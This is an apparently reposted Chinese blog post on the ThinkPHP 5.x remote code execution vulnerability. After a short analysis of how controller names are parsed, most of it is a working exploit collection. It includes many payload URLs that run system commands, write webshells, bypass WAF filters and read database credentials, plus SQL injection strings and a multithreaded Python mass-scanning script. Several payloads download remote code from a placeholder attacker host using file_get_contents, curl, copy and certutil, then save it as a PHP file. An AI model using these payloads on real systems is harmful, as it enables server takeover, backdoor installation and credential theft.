22.ThinkPHP5框架缺陷導致遠程命令執行


前言:

昨天爆出了ThinkPHP5框架缺陷導致遠程命令執行,大佬們都趕上潮流挖洞,小白還是默默學習一下這個漏洞

漏洞影響范圍:

Thinkphp 5.1.0 - 5.1.31
Thinkphp 5.0.5 - 5.0.23

漏洞產生原因:

Thinkphp5.x版本(5.0.20)中沒有對路由中的控制器進行嚴格過濾,在存在 admin,index 模塊、沒有開啟強制路由的條件下(默認不開啟),導致可以注入惡意代碼利用反射類調用命名空間其他任意內置類,完成遠程代碼執行。

漏洞分析:

既然是沒有正確處理控制器名 $controller ,從最開始獲取控制器名的代碼來看:

發現在 $controller 中有過濾字符串中的 HTML 標簽的strip_tags()函數,網站沒有開啟強制路由,問題可能出現在路由調度時,來看執行路由調度的代碼:

其中使用了 $this->app->controller 的方法來實例化控制器,然后調用實例化中的方法,跟進controller方法:

其中通過 parseModuleAndClass 方法解析出 $module$class。然后實例化 $class

着重看一下 parseModuleAndClass 方法:

發現 $name 如果以反斜線\開始時,直接進入第一個if判斷,將 $name 直接作為類名,如果可以控制 $name (即路由中的controller部分),那么就可以實例化任何一個類。

回看路由解析代碼,其中的 parseUrl 方法調用了 parseUrlPath 方法來解析 $url ,也就是 pathinfo 中的路由信息

來看 parseUrlPath 如何解析 $url :

使用/對 $url 進行分割,未進行任何過濾,其中路由url從path()中獲取。

這里 Config::get('var_pathinfo') 是配置文件中的設置的參數,'var_pathinfo' 的默認配置為s,我們可以利用
$_GET['s']來傳遞路由信息,也可以利用pathinfo來傳遞,
但測試時windows環境會將$_SERVER['pathinfo']中的\
替換為/。結合前面分析可得初步利用代碼如下:
index.php?s=index/\namespace\class/method,
這將會實例化\namespace\class並執行method方法。

漏洞復現:

 1. 代碼執行

/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

 

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

2.任意文件寫入

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要寫入的文件內容url編碼

把一句話 <?php phpinfo()?> 進行url編碼:%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3f%3e

寫入文件:

嘗試訪問shell.php:

寫入成功!

放出一些payload:

1. /index.php?s=index/\think\Request/input&filter=phpinfo&data=1
2. /index.php?s=index/\think\Request/input&filter=system&data=id
3. /index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4. /index.php?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5. /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6. /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7. /index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8. /index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
9. /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['joker']);&joker=system("whoami");
10. /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=print_r(file_put_contents(%27xx.php%27,file_get_contents(%27https://www.baidu.com/x.txt%27)))
(先file_get_contents讀取遠程文件內容為一句話 然后file_put_contents在當前目錄下寫入文件  而且不帶<>)

給出tdcoming大佬批量檢測腳本:

#!/usr/bin/env python # -*- coding: utf-8 -*-
''' name: thinkphp遠程代碼檢測 description: ThinkPHP5 5.0.22/5.1.29 遠程代碼執行漏洞 '''  import re import sys import requests import queue import threading from bs4 import BeautifulSoup class thinkphp_rce(threading.Thread): def __init__(self, q): threading.Thread.__init__(self) self.q = q def run(self): while not self.q.empty(): url=self.q.get() headers = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"} payload = r"/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1" vulnurl = url + payload try: response = requests.get(vulnurl, headers=headers, timeout=3, verify=False, allow_redirects=False) soup = BeautifulSoup(response.text,"lxml") if 'PHP Version' in str(soup.text): print ('[+] Remote code execution vulnerability exists at the target address') print ('[+] Vulnerability url address ' + vulnurl) with open('target.txt','a') as f1: f1.write(vulnurl+'\n') f1.close() else: print ('[-] There is no remote code execution vulnerability in the target address') except: print ('[!] Destination address cannot be connected') def urlget(): with open('url.txt','r')as f: urls=f.readlines() for tmp in urls: if '//' in tmp: url=tmp.strip('\n') urlList.append(url) else: url='http://'+tmp.strip('\n') urlList.append(url) return(urlList) f.close() if __name__=="__main__": print('''----------------掃描開始-------------------

*Made by :tdcoming
*For More :https://t.zsxq.com/Ai2rj6E
*MY Heart :https://t.zsxq.com/A2FQFMN
 _______ _ _ |__   __| | | (_) | |  __| | ___ ___ _ __ ___ _ _ __ __ _ | | / _` | / __|/ _ \ | '_ ` _ \ | || '_ \  / _` |
                | || (_| || (__| (_) || | | | | || || | | || (_| |
                |_| \__,_| \___|\___/ |_| |_| |_||_||_| |_| \__, | __/ |
                                                            |___/ 
            ''')
    urlList=[] urlget() threads = [] threads_count = 10 q=queue.Queue() for url in urlList: q.put(url) for i in range(threads_count): threads.append(thinkphp_rce(q)) for i in threads: i.start() for i in threads: i.join()

1、將要檢測的目標放在url.txt里面
2、如果存在漏洞的地址將自動生成一個target.txt文本保存

 

漏洞poc:

https://github.com/heroanswer/thinkphp_rce_poc

-----------------------

於2020.01.20補充

在公眾號上發現有人對thinkphp 5.x.x 的漏洞poc進行了總結

Thinkphp 5.0.5

waf對eval進行了攔截 禁止了assert函數 對eval函數后面的括號進行了正則過濾 對file_get_contents函數后面的括號進行了正則過濾
http:
//www.xxxx.com/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://www.hack.com/xxx.js'))/**/;/**/?>

Thinkphp 5.0.11

http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.php

Thinkphp 5.0.14

eval('')和assert('')被攔截,命令函數被禁止 http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();
http://www.xxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));
php7.2 http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.hack.com/xxx.js'));?>
寫進去發現轉義了尖括號 通過copy函數 http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.php

Thinkphp 5.0.18

windows http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()
 使用certutil http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php
由於根目錄沒寫權限,所以寫到uploads

Thinkphp 5.1.* 和 5.2.* 和 5.0.*

(post)public/index.php (data)c=exec&f=calc.exe&_method=filter

Thinkphp 5.0.10(完整版)

(post)public/index.php?s=index/index/index 
(data)s=whoami&_method=__construct&method&filter[]=system

Thinkphp 5.0.21

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

Thinkphp 5.0.22

http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

Thinkphp 5.0.23(完整版)

(post)public/index.php?s=captcha 
(data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

Thinkphp 5.0.23(完整版)Debug 模式

(post)public/index.php 
(data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx

Thinkphp 5.1.*

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

Thinkphp 5.1.18

http://www.xxxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://www.hack.com/xxx.js'));?>
所有目錄都無寫權限,base64函數被攔截 http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])

Thinkphp 未知版本

?s=index/\think\module/action/param1/${@phpinfo()} ?s=index/\think\Module/Action/Param/${@phpinfo()} ?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)} index.php?s=/home/article/view_recent/name/1' header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#" index.php?s=/home/shopcart/getPricetotal/tag/1%27 index.php?s=/home/shopcart/getpriceNum/id/1%27 index.php?s=/home/user/cut/id/1%27 index.php?s=/home/service/index/id/1%27 index.php?s=/home/pay/chongzhi/orderid/1%27 index.php?s=/home/pay/index/orderid/1%27 index.php?s=/home/order/complete/id/1%27 index.php?s=/home/order/complete/id/1%27 index.php?s=/home/order/detail/id/1%27 index.php?s=/home/order/cancel/id/1%27 index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+ POST /index.php?s=/home/user/checkcode/ HTTP/1.1 Content-Disposition: form-data; name="couponid"1') union select sleep('''+str(sleep_time)+''')#

當 Php7 以上無法使用 Assert 的時候用

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=包含&x=phpinfo(); 有上傳圖片或者日志用這個包含就可以

 

參考鏈接:
https://bbs.ichunqiu.com/thread-48687-1-1.html?tdsourcetag=s_pcqq_aiomsg
http://www.thinkphp.cn/topic/60400.html
http://www.thinkphp.cn/topic/60390.html
https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce

http://www.rai4over.cn/2018/12/12/Thinkphp5-x%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM